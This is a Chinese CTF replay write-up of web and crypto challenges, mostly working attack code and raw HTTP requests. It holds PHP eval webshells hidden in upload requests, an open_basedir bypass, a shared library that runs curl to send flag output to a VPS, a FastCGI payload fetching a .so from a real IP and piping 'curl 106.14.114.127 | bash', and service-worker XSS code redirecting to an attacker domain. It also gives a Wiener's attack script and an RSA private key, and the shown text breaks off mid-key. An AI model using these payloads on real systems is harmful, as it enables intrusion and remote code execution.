follow my dream

西湖血虐[复现]

字数统计: 3.7k阅读时长: 20 min
2020/10/14 Share

Web

谢赵师傅

http://hellodiscuzq.xhlj.wetolink.com/
https://xss.hardxss.xhlj.wetolink.com/
http://newupload.xhlj.wetolink.com/
http://flagshop.xhlj.wetolink.com/
http://easyjson.xhlj.wetolink.com/

EasyJson-100pt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include 'security.php';

if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}

  • payload

利用json_encode来绕过

  • json_encode会decode_unicode

很迷,线上复现题目的环境有问题,但比赛时的环境确实是这样打

1
2
3
4
5
php > var_dump(json_decode('{"\u0063":"a"}'));
object(stdClass)#2 (1) {
["c"]=>
string(1) "a"
}
1
2
3
http://easyjson.xhlj.wetolink.com/?source=&action=write&filename=1.php

{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003C\u003F\u0070\u0068\u0070\u0020\u0040\u0065\u0076\u0061\u006C\u0028\u0024\u005F\u0050\u004F\u0053\u0054\u005B\u0031\u005D\u0029\u003B\u003F\u003E"}

NewUpload-100pt

0x01 方法1 php-fpm绕过disable_function

  • 文件上传
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /sandbox/rnmsje0ip4s8ddqp4sbob1j13i/index.php HTTP/1.1
Host: newupload.xhlj.wetolink.com
Content-Length: 269
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://newupload.xhlj.wetolink.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuMHYw1G0brA7CDkz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=rnmsje0ip4s8ddqp4sbob1j13i
Connection: close

------WebKitFormBoundaryuMHYw1G0brA7CDkz
Content-Disposition: form-data; name="file"; filename="1.
p
h
p"
Content-Type: image/jpeg

?? JFIF  ` ` ?RExif MM *  Q   Q   
<?php phpinfo();?>
------WebKitFormBoundaryuMHYw1G0brA7CDkz--
  • url三次编码 或 base64_encode绕过bt-waf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /sandbox/rnmsje0ip4s8ddqp4sbob1j13i/index.php HTTP/1.1
Host: newupload.xhlj.wetolink.com
Content-Length: 431
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://newupload.xhlj.wetolink.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryls1ZIdXEzkMwPVi3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=rnmsje0ip4s8ddqp4sbob1j13i
Connection: close

------WebKitFormBoundaryls1ZIdXEzkMwPVi3
Content-Disposition: form-data; name="file"; filename="00.p
h
p"
Content-Type: image/gif

GIF89an
<?php @eval(base64_decode($_POST[1]));?>
------WebKitFormBoundaryls1ZIdXEzkMwPVi3
  • 如果想用antsword链接

可以自己写个编码器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* php::base64编码器
* Create at: 2020/10/12 18:48:07
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例

// 生成一个随机变量名
//let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
//data[randomID] = Buffer.from(data['_']).toString('base64');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
//data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
data[pwd] = new Buffer(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

但我这边用插件还是无法绕过disable_function,只能另寻他路

learning from https://www.yuque.com/docs/share/ecb03c8b-300a-4146-9d30-3ce396a7bb1d?#

  • 绕过 open_basedir
1
2
3
4
5
6
/*
post:
1=bWtkaXIoJ2ZlMXcwJyk7Y2hkaXIoJ2ZlMXcwJyk7aW5pX3NldCgnb3Blbl9iYXNlZGlyJywnLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtjaGRpcignLi4nKTtpbmlfc2V0KCdvcGVuX2Jhc2VkaXInLCcvJyk7CnZhcl9kdW1wKHNjYW5kaXIoIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJF9HRVRbJ2RpciddKSk7
*/
mkdir('fe1w0');chdir('fe1w0');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
var_dump(scandir("../../../../../../../../../../../../../".$_GET['dir']));

http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/upload/fe1w0.php?dir=/tmp/

在/tmp可以发现sock文件

时间不早,先打再说

fe1w0.c

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("curl VPS:PORT/`/readflag`");
}

编译gcc fe1w0.c -fPIC -shared -o fe1w0.so

  • 上传、socket

./readflag结果发给vps

这个部分还有很多不是很懂

用的payload 还是别的师傅的

1
2
3
4
mkdir('fe1w0');chdir('fe1w0');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
var_dump(scandir("../../../../../../../../../../../../../".$_GET['dir']));
echo copy("http://121.36.37.97/fe1w0.so","/tmp/sky.so");
$fp = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr,30);$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);//'

image-20201013033058038

Mrkaixin 师傅提示 可以用url三次编码试试,base64可能不行

0x02 再试

用url三次编码成功了

当马很大时base64解码需要耗费大量服务器资源,返回503,所以只能使用三次url编码来绕过

from https://buxqm.github.io/ 师傅

image-20201013180050453

image-20201013180027906

重新配置antsword

image-20201013181116471

得到flag

image-20201013181041132

0x03 方法2 lua脚本执行readflag

learning from https://www.yuque.com/docs/share/ecb03c8b-300a-4146-9d30-3ce396a7bb1d?#

先上传.htaccess是设置AddHandler lua-script .lua

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /sandbox/rnmsje0ip4s8ddqp4sbob1j13i/index.php HTTP/1.1
Host: newupload.xhlj.wetolink.com
Content-Length: 208
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://newupload.xhlj.wetolink.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYVg7EEthBI9AAXYB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=rnmsje0ip4s8ddqp4sbob1j13i
Connection: close

------WebKitFormBoundaryYVg7EEthBI9AAXYB
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/png

AddHandler lua-script .lua
------WebKitFormBoundaryYVg7EEthBI9AAXYB--

再上传lua文件,执行./readflag文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
POST /sandbox/rnmsje0ip4s8ddqp4sbob1j13i/index.php HTTP/1.1
Host: newupload.xhlj.wetolink.com
Content-Length: 770
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://newupload.xhlj.wetolink.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYVg7EEthBI9AAXYB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=rnmsje0ip4s8ddqp4sbob1j13i
Connection: close

------WebKitFormBoundaryYVg7EEthBI9AAXYB
Content-Disposition: form-data; name="file"; filename="try.lua"
Content-Type: image/png

require "string"
--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"
r:puts("Hello Lua World!\n")
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
------WebKitFormBoundaryYVg7EEthBI9AAXYB--

image-20201013183048428

记录一下 比赛代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>集中式网盘系统</title>
</head>

<body>
这个网盘系统非常安全,我觉得应该值十个亿。
<br/>
<form id="upload-form" action="index.php" method="post" enctype="multipart/form-data" >
   <input type="file" id="upload" name="file" /> <br />
   <input type="submit" value="上传" />
</form>

<?php
ini_set('open_basedir', getcwd());
if(isset($_FILES["file"])) {
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";

// 判断当前目录下的 upload 目录是否存在该文件
// 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
@mkdir("upload");
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}
}
?>
</body>

</html>

HardXSS-200pt

这题大致上照着师傅们的博客复现了一下,有些点还是不懂

learn from

https://www.bertramc.cn/2020/10/09/66.html

https://wulidecade.cn/2020/10/08/2020%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91%E9%83%A8%E5%88%86web-wp/#more

https://buxqm.github.io/2019/10/12/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91/

首先,在admin login 页面https://xss.hardxss.xhlj.wetolink.com/login

有一个jsonp,详细理解可以看下面的链接

jsonp的核心则是动态添加<script>标签来调用服务器提供的js脚本,且不排除非本域脚本.

from https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jquery.html

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
if(result['status']){
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if(url.indexOf("callback") < 0){
// 随机获取funName
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName;
}else{
var funName = callback;
}
//函数定义,jsonp返回数据会调用该函数
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script);
}
function auto_reg_var(){
var search = location.search.slice(1);
var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}

因为auto_reg_var可控,我们可以输入函数,如https://xss.hardxss.xhlj.wetolink.com/login/?callback=alert(1)

此外,网站所给提示

想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟我收到邮件后会先点开链接然后登录我的网站!

在看代码

1
2
3
if(result['status']){
location.href = jump_url;
}

当admin登陆后,将获得一个jump_url,用于跳转。

Q:如何获得jump_url

A:利用Service Worker中的fetch 进行监控

具体学习 https://lightless.me/archives/XSS-With-Service-Worker.html

payload

  • a.js
1
2
3
4
5
6
7
8
9
document.domain = "hardxss.xhlj.wetolink.com";
var iframe = document.createElement('iframe');
iframe.src = 'https://auth.hardxss.xhlj.wetolink.com';
iframe.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iframe);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//xzlxr.github.io/b.js');//")`;
function iffLoadover(){
iframe.contentWindow.eval(exp);
}a
  • b.js
1
2
3
4
5
6
7
8
9
10
11
12
13
self.addEventListener('install', function(event) {
console.log('install ok!');
});

this.addEventListener('fetch', function(event) {
var url = event.request.clone();
console.log('url: ', url);
var body = "<script>location='http://xzaslxr.xyz:8080/'+location.search;</script>";
var init = {headers: {"Content-Type": "text/html"}};
var res = new Response(body, init);
console.log('finish!');
event.respondWith(res.clone());
});

当第一次执行时

image-20201013215244718

此外,当没有销毁当前SW时,再次请求,会出现下面情况

1
2
3
嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!
> hash = md5(vcode)
> console.log('验证码:'+hash.substr(0,5))

image-20201013220211343

哭,为什么

img

crypto

BrokenSystems-100pt

0x01 方法1

根据public.key得 n,e

1
2
3
4
5
6
7
8
from Crypto.PublicKey import RSA
import os

pbf = open('public.key', 'r')
pbb = pbf.read()
key = RSA.importKey(pbb)
print("n = %s" % key.n)
print("e = %s" % key.e)

Wiener’s Attack module from https://github.com/truongkma/ctf-tools/blob/master/WienerAttack/wiener-attack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import math
import random

############################
## Wiener's Attack module ##
############################

# Calculates bitlength


def bitlength(x):
assert x >= 0
n = 0
while x > 0:
n = n + 1
x = x >> 1
return n

# Squareroots an integer


def isqrt(n):
if n < 0:
raise ValueError('square root not defined for negative numbers')
if n == 0:
return 0
a, b = divmod(bitlength(n), 2)
x = 2**(a + b)
while True:
y = (x + n // x) // 2
if y >= x:
return x
x = y

# Checks if an integer has a perfect square


def is_perfect_square(n):
h = n & 0xF # last hexadecimal "digit"
if h > 9:
return -1 # return immediately in 6 cases out of 16.
# Take advantage of Boolean short-circuit evaluation
if (h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8):
# take square root if you must
t = isqrt(n)
if t * t == n:
return t
else:
return -1
return -1

# Calculate a sequence of continued fractions


def partial_quotiens(x, y):
partials = []
while x != 1:
partials.append(x // y)
a = y
b = x % y
x = a
y = b
# print partials
return partials

# Helper function for convergents


def indexed_convergent(sequence):
i = len(sequence) - 1
num = sequence[i]
denom = 1
while i > 0:
i -= 1
a = (sequence[i] * num) + denom
b = num
num = a
denom = b
#print (num, denom)
return (num, denom)

# Calculate convergents of a sequence of continued fractions


def convergents(sequence):
c = []
for i in range(1, len(sequence)):
c.append(indexed_convergent(sequence[0:i]))
# print c
return c

# Calculate `phi(N)` from `e`, `d` and `k`


def phiN(e, d, k):
return ((e * d) - 1) / k

# Wiener's attack, see http://en.wikipedia.org/wiki/Wiener%27s_attack for
# more information


def wiener_attack(N, e):
(p, q, d) = (0, 0, 0)
conv = convergents(partial_quotiens(e, N))
for frac in conv:
(k, d) = frac
if k == 0:
continue
y = -(N - phiN(e, d, k) + 1)
discr = y * y - 4 * N
if(discr >= 0):
# since we need an integer for our roots we need a perfect squared
# discriminant
sqr_discr = is_perfect_square(discr)
# test if discr is positive and the roots are integers
if sqr_discr != -1 and (-y + sqr_discr) % 2 == 0:
p = ((-y + sqr_discr) / 2)
q = ((-y - sqr_discr) / 2)
return p, q, d
return p, q, d

n = 24493816160588971749455534346389861269947121809901305744877671102517333076424951483888863597563544011725032585417200878377314372325231470164799594965293350352923195632229495874587039720317200655351788887974047948082357232348155828924230567816817425104960545706688263839042183224681231800805037117758927837949941052360649778743187012198508745207332696876463490071925421229447425456903529626946628855874075846839745388326224970202749994059533831664092151570836853681204646481502222112116971464211748086292930029540995987019610460396057955900244074999111267618452967579699626655472948383601391620012180211885979095636919
e = 3683191938452247871641914583009119792552938079110383367782698429399084083048335018186915282465581498846777124014232879019914546010406868697694661244001972931366227108140590201194336470785929194895915077935083045957890179080332615291089360169761324533970721460473221959270664692795701362942487885620152952927112838769014944652059440137350285198702402612151501564899791870051001152984815689187374906618917967106000628810361686645504356294175173529719443860140795170776862320812544438211122891112138748710073230404456268507750721647637959502454394140328030018450883598342764577147457231373121223878829298942493059211583
p, q, d = wiener_attack(n, e)
print "p = %d" % p
print "q = %d" %q
print "d = %d" %d
################################
## End Wiener's Attack module ##
################################

生成privage.key

1
python3 rsatool.py  -n  24493816160588971749455534346389861269947121809901305744877671102517333076424951483888863597563544011725032585417200878377314372325231470164799594965293350352923195632229495874587039720317200655351788887974047948082357232348155828924230567816817425104960545706688263839042183224681231800805037117758927837949941052360649778743187012198508745207332696876463490071925421229447425456903529626946628855874075846839745388326224970202749994059533831664092151570836853681204646481502222112116971464211748086292930029540995987019610460396057955900244074999111267618452967579699626655472948383601391620012180211885979095636919 -e 3683191938452247871641914583009119792552938079110383367782698429399084083048335018186915282465581498846777124014232879019914546010406868697694661244001972931366227108140590201194336470785929194895915077935083045957890179080332615291089360169761324533970721460473221959270664692795701362942487885620152952927112838769014944652059440137350285198702402612151501564899791870051001152984815689187374906618917967106000628810361686645504356294175173529719443860140795170776862320812544438211122891112138748710073230404456268507750721647637959502454394140328030018450883598342764577147457231373121223878829298942493059211583 -p  163724217068973025857079545677048587508164102644298632911494474022224582218067057349189211462632427829087720476013052665037199232658015194718500750961261016558605363103092187533086949903145449057015220561698195502163792192055762108803714387175594231859738263839090338762578040513451585421537323416472060788989 -q 149604112324264915811376746906108325951188179904814259006959765070266946659481820938211689946210254302179197289522748397160602946376246768419310765669852537378426700376878745285639531531077237124655345323906476180103106894642043615024716862503414785057646920410083538192951872861366496901158348770066798098371 -d 1779217788383673416690068487595062922771414230914791138743960472798057054853883175313487137767631446949382388070798609545617543049566741624609996040273727 -v PEM -o privage.key
  • private.key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-----BEGIN RSA PRIVATE KEY-----
MIIEXgIBAAKCAQEAwgdFIj/1uUss2EEhZvcoiiHyGH4aQhRTkYyrA8gCU0USM+sb3CNjdEIoqoaU
qMLLyDP4Dd9AgxpokBsjC4Pz8P7Uty0LlCteld7ayNzABHoq+5DIHtctOtSbcvyL0NMWfd2qarUW
fAWN82rxkLIWCFu9nWIfm9I6CT5OPZzDh7YnTywznIjhstkIrLM/TiDmR6vuBxSjzORkbolilLeB
A9zJpNt+1oEWTG5sx/0zR24XSmxwcDeyUEkTZfnw63auq6B9svZi2IBIr5jIjHbGcQ25ZY1J/KDK
8fXNmdwH8YhDK0j4VXEWitEPyCS3toK61sql0S/28EySeGtzirGbtwKCAQAdLS8fFz+BzzaP7AbU
DUf9kvhhXBLuwUFo8ohCeVK4z1pTj3C6M0G2oXOugDdalrDThNlyKxkUn3iUc3Xgoz315pPtq9Xk
1Ez/qeUl6gFPP6SZtfeymyGdkLiNpVquOghjczjXvtBW467Fdb5Wu95TSzVaLndX23rsqW541n8h
Uwt8PsJKxh+bR0qygyIN2VRRNdBlpyTOL49E4y5GDu9fmVgAnFivWVGT135ywl8MsBUFuZPBNTKL
EbUA3KvJVckXf4Od0ENYbiWjEzXn1UN9yebNbU6+yyk34WAmwnkuF0X0Tu1UEb6qtV7QkF25GYy9
QxERvodGL0Y2njHRpGE/AkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxh
IAJ6XDOOIu3YQ1lIecqwAV2pbZNMV38/AoGBAOkmqYadbPNvB9gWhZ7iAMgd2w804HJScDwq+SNS
v7XllNnh0CJDbY19G3nsfLQy+R2JqzCCdFmIsCJtBHRIvApMykPnsgG5Qfwj/7XK77LGzb8P7X3m
rK4eQrELRjpY8h0+YqMDxJ5OYsr8oVj6rD3QMfVu53XhgqoNHD56lYD9AoGBANULF4Vk4SHNib8C
bUL5UtBPEYiD7ePRUFvXmMLEA5MgtOfshpmpBiSiXHW4abGnSO9pXUv0v+TW6VYyYbVDFmWH87vn
i6l6+QnUR6qKlegfBxrVL29ycqFaJz+lt/Zo5QPwvr50mgjQ6hOtD+4SAVgk6a059VKyuTho56Xc
ojfDAkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxhIAJ6XDOOIu3YQ1lI
ecqwAV2pbZNMV38/AkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxhIAJ6
XDOOIu3YQ1lIecqwAV2pbZNMV38/AoGBAJ/8/LizZOrBACJ8R1maUWAvuuxI7lGac2B+/A/EcwBJ
fOT/qLCPpvFhA0Qje1HqlNSXc9e/FGt1UwxZkJBJJNGhlKRKaB0RJgJW5dA1jfyYU8xpPsDxfdDz
Lf2y167IbfqNNmL7ZF8IHj5+hPsB0oVAN0gvoLxcOM2qMOXIt6aM
-----END RSA PRIVATE KEY-----

final

1
2
3
4
5
6
7
8
9
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

key = RSA.importKey(open('private.key').read())
cipher = PKCS1_OAEP.new(key)
f = open('message',"rb")
ciphertext=f.read()
print(cipher.decrypt(ciphertext))

0x02 方法2

https://github.com/Ganapati/RsaCtfTool

  • 利用rsactftool 得到私钥

除了pip3 install -r “requirements.txt”,你还需要安装sagemath 下载链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ python3 ./RsaCtfTool.py --publickey public.key --private

[*] Testing key public.key.
[*] Performing boneh_durfee attack on public.key.

Results for public.key:

Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIEXgIBAAKCAQEAwgdFIj/1uUss2EEhZvcoiiHyGH4aQhRTkYyrA8gCU0USM+sb
3CNjdEIoqoaUqMLLyDP4Dd9AgxpokBsjC4Pz8P7Uty0LlCteld7ayNzABHoq+5DI
HtctOtSbcvyL0NMWfd2qarUWfAWN82rxkLIWCFu9nWIfm9I6CT5OPZzDh7YnTywz
nIjhstkIrLM/TiDmR6vuBxSjzORkbolilLeBA9zJpNt+1oEWTG5sx/0zR24XSmxw
cDeyUEkTZfnw63auq6B9svZi2IBIr5jIjHbGcQ25ZY1J/KDK8fXNmdwH8YhDK0j4
VXEWitEPyCS3toK61sql0S/28EySeGtzirGbtwKCAQAdLS8fFz+BzzaP7AbUDUf9
kvhhXBLuwUFo8ohCeVK4z1pTj3C6M0G2oXOugDdalrDThNlyKxkUn3iUc3Xgoz31
5pPtq9Xk1Ez/qeUl6gFPP6SZtfeymyGdkLiNpVquOghjczjXvtBW467Fdb5Wu95T
SzVaLndX23rsqW541n8hUwt8PsJKxh+bR0qygyIN2VRRNdBlpyTOL49E4y5GDu9f
mVgAnFivWVGT135ywl8MsBUFuZPBNTKLEbUA3KvJVckXf4Od0ENYbiWjEzXn1UN9
yebNbU6+yyk34WAmwnkuF0X0Tu1UEb6qtV7QkF25GYy9QxERvodGL0Y2njHRpGE/
AkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxhIAJ6XDOO
Iu3YQ1lIecqwAV2pbZNMV38/AoGBAOkmqYadbPNvB9gWhZ7iAMgd2w804HJScDwq
+SNSv7XllNnh0CJDbY19G3nsfLQy+R2JqzCCdFmIsCJtBHRIvApMykPnsgG5Qfwj
/7XK77LGzb8P7X3mrK4eQrELRjpY8h0+YqMDxJ5OYsr8oVj6rD3QMfVu53XhgqoN
HD56lYD9AoGBANULF4Vk4SHNib8CbUL5UtBPEYiD7ePRUFvXmMLEA5MgtOfshpmp
BiSiXHW4abGnSO9pXUv0v+TW6VYyYbVDFmWH87vni6l6+QnUR6qKlegfBxrVL29y
cqFaJz+lt/Zo5QPwvr50mgjQ6hOtD+4SAVgk6a059VKyuTho56XcojfDAkAh+KKp
FWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxhIAJ6XDOOIu3YQ1lI
ecqwAV2pbZNMV38/AkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8Q
tzAJCoxhIAJ6XDOOIu3YQ1lIecqwAV2pbZNMV38/AoGBAJ/8/LizZOrBACJ8R1ma
UWAvuuxI7lGac2B+/A/EcwBJfOT/qLCPpvFhA0Qje1HqlNSXc9e/FGt1UwxZkJBJ
JNGhlKRKaB0RJgJW5dA1jfyYU8xpPsDxfdDzLf2y167IbfqNNmL7ZF8IHj5+hPsB
